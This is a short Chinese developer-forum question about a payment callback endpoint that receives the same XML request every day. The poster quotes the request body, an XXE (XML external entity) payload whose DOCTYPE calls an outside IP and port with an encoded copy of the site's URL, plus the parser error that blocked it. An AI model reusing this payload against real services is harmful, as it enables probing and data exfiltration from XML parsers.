收藏
回答

为什么每天都会来访问支付回调?

<?xml VERSION="1.0" encoding="utf-8"?>

<!DOCTYPE root [

http://101.91.62.170:4837/wx_xxe_dbc_os_2019080703_113?aHR0

cDovL3d3dy5zaGFuaGVrZWppLmNuL3VzZXIvcGF5L3BheUJ5V2VpWGluLmRv">]>

<foo><VALUE>&xxe;</VALUE></foo>

上面是每次访问携带内容,然后回调报错

将 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“true”时, 不允许使用 DOCTYPE


最后一次编辑于  08-07  (未经腾讯允许,不得转载)
邀请回答
复制链接收藏关注问题回答

1 个回答